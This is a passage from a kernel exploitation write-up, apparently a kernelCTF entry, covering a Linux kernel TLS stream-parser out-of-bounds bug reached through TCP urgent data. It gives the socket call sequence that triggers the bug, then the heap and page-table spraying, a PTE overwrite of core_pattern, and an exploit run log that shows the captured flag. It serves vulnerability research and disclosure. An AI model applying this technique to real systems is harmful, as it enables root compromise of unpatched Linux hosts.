    if (unlikely(strp->copy_mode))
        return tls_strp_read_copyin(strp); // [4]
    // [...]
}

2.2. Small Packet Size

The value of strp->stm.full_len depends on the return value of tls_rx_msg_size() [1].

static int tls_strp_read_sock(struct tls_strparser *strp)
{
    // [...]
    if (!strp->stm.full_len) {
        sz = tls_rx_msg_size(strp, strp->anchor);
        if (sz < 0) {
            tls_strp_abort_strp(strp, sz);
            return sz;
        }

        strp->stm.full_len = sz; // [1]
        // [...]
    }
    // [...]
}

The function tls_rx_msg_size() returns 0 as the packet size only when the packet is still too small to be parsed [2].

int tls_rx_msg_size(struct tls_strparser *strp, struct sk_buff *skb)
{
    struct tls_context *tls_ctx = tls_get_ctx(strp->sk);
    struct tls_prot_info *prot = &tls_ctx->prot_info;
    char header[TLS_HEADER_SIZE + TLS_MAX_IV_SIZE];
    size_t cipher_overhead;
    size_t data_len = 0;
    int ret;

    // [...]
    if (strp->stm.offset + prot->prepend_size /* 13 */ > skb->len) // [2]
        return 0;
    // [...]
}

However, these two conditions appear to conflict 🤯: if the packet size is too small, the receive buffer will remain empty, and copy mode will not be enabled.

2.3. OOB Packet

Out-of-band (OOB), also known as Urgent, is a packet type used to notify the receiver of an emergency condition. This type of packet contains only a single byte of data and has higher priority than a normal packet.

tcp_rcv_established() calls tcp_urg() to handle urgent packets before calling tcp_data_queue() to process regular data.

void tcp_rcv_established(struct sock *sk, struct sk_buff *skb)
{
    // [...]
    tcp_urg(sk, skb, th);
    
    // [...]
    tcp_data_queue(sk, skb);
    
    // [...]
}

tcp_urg() first checks whether the packet is an urgent packet by calling tcp_check_urg(). If it is, the urgent packet sequence tp->urg_seq is updated [1], and tls_strp_read_sock() is invoked internally [2].

static void tcp_urg(struct sock *sk, struct sk_buff *skb, const struct tcphdr *th)
{
    struct tcp_sock *tp = tcp_sk(sk);

    if (unlikely(th->urg))
        tcp_check_urg(sk, th);
    
    // [...]
    if (unlikely(tp->urg_data == TCP_URG_NOTYET)) {
        if (ptr < skb->len) {
            // [...]
            skb_copy_bits(skb, ptr, &tmp, 1);
            WRITE_ONCE(tp->urg_data, TCP_URG_VALID | tmp);
            sk->sk_data_ready(sk); // [2]
            // [...]
        }
    }
}

static void tcp_check_urg(struct sock *sk, const struct tcphdr *th)
{
    u32 ptr = ntohs(th->urg_ptr);

    // [...]
    ptr += ntohl(th->seq);

    /* Ignore urgent data that we've already seen and read. */
    if (after(tp->copied_seq, ptr))
        return;
    if (before(ptr, tp->rcv_nxt))
        return;
    
    // Allow newer urgent
    if (tp->urg_data && !after(ptr, tp->urg_seq))
        return;
    
    // [...]
    WRITE_ONCE(tp->urg_data, TCP_URG_NOTYET);
    WRITE_ONCE(tp->urg_seq, ptr); // [1]
}

tls_strp_read_sock() calls tcp_inq() to obtain the current TCP in-queue size [2], i.e., how much data can be retrieved. This value depends on whether there is urgent data.

Each time a new urgent packet arrives, tp->urg_seq is set to tp->rcv_nxt, so all tcp_inq() calls from tcp_urg() fall into the second branch [3], returning the remaining data count.

static int tls_strp_read_sock(struct tls_strparser *strp)
{
    int sz, inq;

    inq = tcp_inq(strp->sk); // [2]
    if (inq < 1)
        return 0;

    // [...]
}

static inline int tcp_inq(struct sock *sk)
{
    struct tcp_sock *tp = tcp_sk(sk);
    int answ;

    // [...]
    else if (sock_flag(sk, SOCK_URGINLINE) ||
           !tp->urg_data ||
           before(tp->urg_seq, tp->copied_seq) ||
           !before(tp->urg_seq, tp->rcv_nxt)) {

        answ = tp->rcv_nxt - tp->copied_seq; // [3]
        // [...]
    } else {
        answ = tp->urg_seq - tp->copied_seq; // [5]
    }

    return answ;
}

After that, tcp_data_queue() is called, and then tls_strp_read_sock() is invoked again [4].

This time, since the one-byte urgent data has already been processed and tp->rcv_nxt has been updated, tcp_inq() takes the last branch [5], returning the size of the remaining urgent data in the queue.

static void tcp_data_queue(struct sock *sk, struct sk_buff *skb)
{
    // [...]
    if (TCP_SKB_CB(skb)->seq == tp->rcv_nxt) {
        // [...]
        eaten = tcp_queue_rcv(sk, skb, &fragstolen);
        
        // [...]
        if (!sock_flag(sk, SOCK_DEAD))
            tcp_data_ready(sk); // [4]
        return;
    }
}

The function tcp_queue_rcv() not only processes packet data but also attempts to coalesce the data size [6].

This means if the previous skb has enough buffer space, the new skb will be merged into it.

static int __must_check tcp_queue_rcv(struct sock *sk, struct sk_buff *skb,
                      bool *fragstolen)
{
    int eaten;
    struct sk_buff *tail = skb_peek_tail(&sk->sk_receive_queue);

    eaten = (tail &&
         tcp_try_coalesce(sk, tail, // [6]
                  skb, fragstolen)) ? 1 : 0;
    tcp_rcv_nxt_update(tcp_sk(sk), TCP_SKB_CB(skb)->end_seq);
    if (!eaten) {
        tcp_add_receive_queue(sk, skb);
        skb_set_owner_r(skb, sk);
    }
    return eaten;
}

A flow diagram makes the sequence update clearer.

2.4. Combine All Together

After establishing the connection, we set the receive buffer of the server-side socket to the minimum size.

int rcvbuf_size = 0x0;
setsockopt(accept_fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf_size, sizeof(rcvbuf_size));

On the client side, we send the following packets:

send(client_fd, data, 1, 0);       // copied_seq=0, urg_seq=0, rcv_nxt=1
send(client_fd, data, 1, MSG_OOB); // copied_seq=0, urg_seq=1, rcv_nxt=2
send(client_fd, data, 0x2000, 0);  // copied_seq=0, urg_seq=1, rcv_nxt=0x2002

When the last packet is sent, tcp_inq() returns 1 [1] (urg_seq - copied_seq), and tls_strp_load_anchor_with_queue() sets the anchor’s skb->len to inq. Since skb->len is smaller than the prepend size, tls_rx_msg_size() [3] returns zero, and tls_strp_read_copy() is then called [4].

static int tls_strp_read_sock(struct tls_strparser *strp)
{
    int sz, inq;

    inq = tcp_inq(strp->sk); // [1]
    if (inq < 1)
        return 0;

    tls_strp_load_anchor_with_queue(strp, inq); // [2]
    
    // [...]
    if (!strp->stm.full_len) {
        sz = tls_rx_msg_size(strp, strp->anchor); // [3]
        // [...]

        strp->stm.full_len = sz;

        if (!strp->stm.full_len || inq < strp->stm.full_len)
            return tls_strp_read_copy(strp, true); // [4]
    }
}

Because we send a packet larger than the receive buffer, tcp_epollin_ready() returns true [5], and copy mode is enabled [6].

Afterwards, tls_strp_read_copyin() is used to receive the data.

static int tls_strp_read_copy(struct tls_strparser *strp, bool qshort)
{
    if (likely(qshort && !tcp_epollin_ready(strp->sk, INT_MAX))) // [5]
        return 0;

    strp->copy_mode = 1; // [6]
    // [...]
    tls_strp_read_copyin(strp);
    return 0;
}

Internally, the TCP receive queue is iterated, and each retrieved packet along with its size is passed to tls_strp_copyin_frag() as the in_skb and in_len parameters.

In this function, the in_skb packet data is copied into the corresponding fragment (->frags[]) of the anchor packet. Since fragments store packet data in page units, tls_strp_copyin_frag() first calculates the fragment index using skb->len / PAGE_SIZE [7].

If the record size (strp->stm.full_len) is still not determined [8], the packet is reparsed. The data is first copied into the buffer [9], skb->len is updated, and then the record header is parsed [10].

static int tls_strp_copyin_frag(struct tls_strparser *strp, struct sk_buff *skb,
                struct sk_buff *in_skb, unsigned int offset,
                size_t in_len)
{
    // [...]
    frag = &skb_shinfo(skb)->frags[skb->len / PAGE_SIZE]; // [7]
    
    // [...]
    if (!strp->stm.full_len) { // [8]
        chunk = min_t(size_t, len, PAGE_SIZE - skb_frag_size(frag));
        WARN_ON_ONCE(skb_copy_bits(in_skb, offset, skb_frag_address(frag) + skb_frag_size(frag), chunk)); // [9] 

        skb->len += chunk;
        skb->data_len += chunk;
        skb_frag_size_add(frag, chunk);

        sz = tls_rx_msg_size(strp, skb); // [10]
        if (sz < 0)
            return sz;
        // [..]
    }
    // [..]
}

However, due to this vulnerability, a malformed header may cause the packet not to be consumed (eaten). As a result, skb->len continues to grow, leading to an out-of-bounds index when accessing frags[].

2.5. Access Uninitialized Fragment

After copy mode is enabled, we restore the receive buffer size of the accepted socket on the server side:

int rcvbuf_size = 0x20000;
setsockopt(accept_fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf_size, sizeof(rcvbuf_size));

On the client side, the first call to __tcp_read_sock() consumes the urgent packet and updates copied_seq to match urg_seq. This causes tcp_inq() to return zero, preventing further progress.

To bypass this, we first send a MSG_OOB packet to update urg_seq:

send(client_fd, ptr, 1, MSG_OOB);

Afterwards, we can trigger tls_strp_copyin_frag() by sending additional packets. Each packet increases skb->len by 0x1000.

According to tls_strp_read_copy(), five pages [1] are allocated and populated into the fragment array of the anchor skb [2]:

static int tls_strp_read_copy(struct tls_strparser *strp, bool qshort)
{
    // [...]
    need_spc = strp->stm.full_len ?: TLS_MAX_PAYLOAD_SIZE /* 0x4000 */ + PAGE_SIZE /* 0x1000 */; // [1]
    
    // [...]
    for (len = need_spc; len > 0; len -= PAGE_SIZE) {
        page = alloc_page(strp->sk->sk_allocation);
        // [...]
        skb_fill_page_desc(strp->anchor, shinfo->nr_frags++, // [2]
                   page, 0, 0);
    }
}

So, after sending four packets (excluding the initial OOB), skb->len becomes 4 x 0x1000 = 0x4000. The initial OOB also increases skb->len by 0x1000, so the total is 0x5000. At this point skb->len / PAGE_SIZE == 5, which exceeds the initialized fragment array and causes an out-of-bounds access. The out-of-bounds access in frags[] will be triggered when the fifth packet is sent.

for (int i = 0; i < 4; i++) {
    send(client_fd, ptr, 1, 0);
}
send(client_fd, ptr, 1, 0);

3. Exploit

3.1. Spraying TCP Socket

The anchor packet is allocated in tls_strp_init():

int tls_strp_init(struct tls_strparser *strp, struct sock *sk)
{
    // [...]
    strp->sk = sk;
    strp->anchor = alloc_skb(0, GFP_KERNEL);
    // [...]
}

Internally, alloc_skb() calls kmalloc_reserve() to allocate the data buffer. In this case, the buffer is allocated from skb_small_head_cache [1].

static inline struct sk_buff *alloc_skb(unsigned int size,
                    gfp_t priority)
{
    return __alloc_skb(size, priority, 0, NUMA_NO_NODE); // <--------------------
}

struct sk_buff *__alloc_skb(unsigned int size, gfp_t gfp_mask,
                int flags, int node)
{
    // [...]
    skb = kmem_cache_alloc_node(cache, gfp_mask & ~GFP_DMA, node);
    // [...]
    data = kmalloc_reserve(&size, gfp_mask, node, &pfmemalloc); // <--------------------
    // [...]
    __build_skb_around(skb, data, size);
}

static void *kmalloc_reserve(unsigned int *size, gfp_t flags, int node,
                 bool *pfmemalloc)
{
    obj_size = SKB_HEAD_ALIGN(*size);

    if (obj_size <= SKB_SMALL_HEAD_CACHE_SIZE && !(flags & KMALLOC_NOT_NORMAL_BITS)) {
        obj = kmem_cache_alloc_node(net_hotdata.skb_small_head_cache, flags | __GFP_NOMEMALLOC | __GFP_NOWARN, node); // [1]
        *size = SKB_SMALL_HEAD_CACHE_SIZE;
        // [...]
        goto out;
    }

    obj_size = kmalloc_size_roundup(obj_size);
    // [...]
}

After the data buffer is allocated, __finalize_skb_around() is called internally by __build_skb_around() to initialize it. Fortunately, the frags[] array remains uninitialized, which allows us to populate it by spraying.

// called by __build_skb_around()
static inline void __finalize_skb_around(struct sk_buff *skb, void *data,
                     unsigned int size)
{
    // [...]
    skb->head = data;
    skb->data = data;
    // [...]
    shinfo = skb_shinfo(skb);
    // [...]
    memset(shinfo, 0, offsetof(struct skb_shared_info, dataref));
    // [...]
}

Therefore, we need to find a function call to alloc_skb() that allocates the data buffer from skb_small_head_cache and allows us to populate the fragment array.

At first, I tried spraying with TCP Unix sockets, but their data buffers are allocated from kmalloc-512-cg.

Next, I tried normal TCP sockets, and luckily, their buffers are allocated from skb_small_head_cache [2]. Perfect!

Additionally, if the packet data is passed through the SYS_splice system call, the message flag MSG_SPLICE_PAGES will be set [3], and the pages will be placed into the fragment array [4].

int tcp_sendmsg_locked(struct sock *sk, struct msghdr *msg, size_t size)
{
    // [...]
    else if (unlikely(msg->msg_flags & MSG_SPLICE_PAGES) && size) {
        if (sk->sk_route_caps & NETIF_F_SG)
            zc = MSG_SPLICE_PAGES; // [3]
    }
    // [...]

    while (msg_data_left(msg)) {
        skb = tcp_stream_alloc_skb(sk, sk->sk_allocation, first_skb); // [2]

        // [...]
        else if (zc == MSG_SPLICE_PAGES) {
            // [...]
            err = skb_splice_from_iter(skb, &msg->msg_iter, copy); // [4]
            // [...]
            copy = err;

            if (!(flags & MSG_NO_SHARED_FRAGS))
                skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG;

            // [...]
        }
    }
}

The call flow from splice to tcp_sendmsg_locked() is as follows:

__do_splice()
=> do_splice()
 => out->f_op->splice_write()
  => splice_to_socket()
   => sock_sendmsg()
    => __sock_sendmsg()
     => inet_sendmsg()
      => tcp_sendmsg()
       => tcp_sendmsg_locked()

Thus, we can spray a large number of TCP sockets and splice six pages into each fragment array. After that, freeing all of them will eventually cause one to be reclaimed by strp->anchor.

3.2. Spraying Pagetable

After the pages are released, we reclaim them by spraying the page table. When an out-of-bounds access is triggered in tls_strp_copyin_frag() [1], packet data is copied into the fragment and the copied content is under our control. This lets us overwrite a PTE.

static int tls_strp_copyin_frag(struct tls_strparser *strp, struct sk_buff *skb,
                struct sk_buff *in_skb, unsigned int offset,
                size_t in_len)
{
    // [...]
    frag = &skb_shinfo(skb)->frags[skb->len / PAGE_SIZE];
    
    // [...]
    if (!strp->stm.full_len) {
        chunk = min_t(size_t, len, PAGE_SIZE - skb_frag_size(frag));
        WARN_ON_ONCE(skb_copy_bits(in_skb, offset, skb_frag_address(frag) + skb_frag_size(frag), chunk)); // [1]
    }

    // [...]
}

Concretely, we add a new PTE pointing to core_pattern[] and overwrite it. Triggering a segmentation fault then causes the kernel to use the overwritten core_pattern[], allowing us to retrieve the flag.

The exploit for lts-6.12.46 is here. It works in the remote environment as well.

user@lts-6:/tmp$ ./test
./test
[+] initialize
[+] spraying pagetable
[+] count: 0 (for populate pagetable)
[+] craft PTEs
[+] /proc/sys/kernel/core_pattern: |/proc/%P/fd/666 %P

[   19.574504] test[205]: segfault at 0 ip 0000000000402a19 sp 00007fff67f2a5d0 error 6 in test[2a19,401000+96000] likely on CPU 0 (core 0, socket 0)
[   19.578581] Code: 48 89 ce 89 c7 e8 77 35 02 00 48 8d 45 c0 48 89 c6 48 8d 05 51 4d 09 00 48 89 c7 b8 00 00 00 00 e8 5c 3f 00 00 b8 00 00 00 00 <41
kernelCTF{v1:lts-6.12.46:1759486024:a15c6a431f0965768f9100391e6ebb695924f1f7}
[   19.603944] sysrq: Power Off
[   19.605689] ACPI: PM: Preparing to enter system sleep state S5
[   19.607641] kvm: exiting hardware virtualization
[   19.609214] reboot: Power down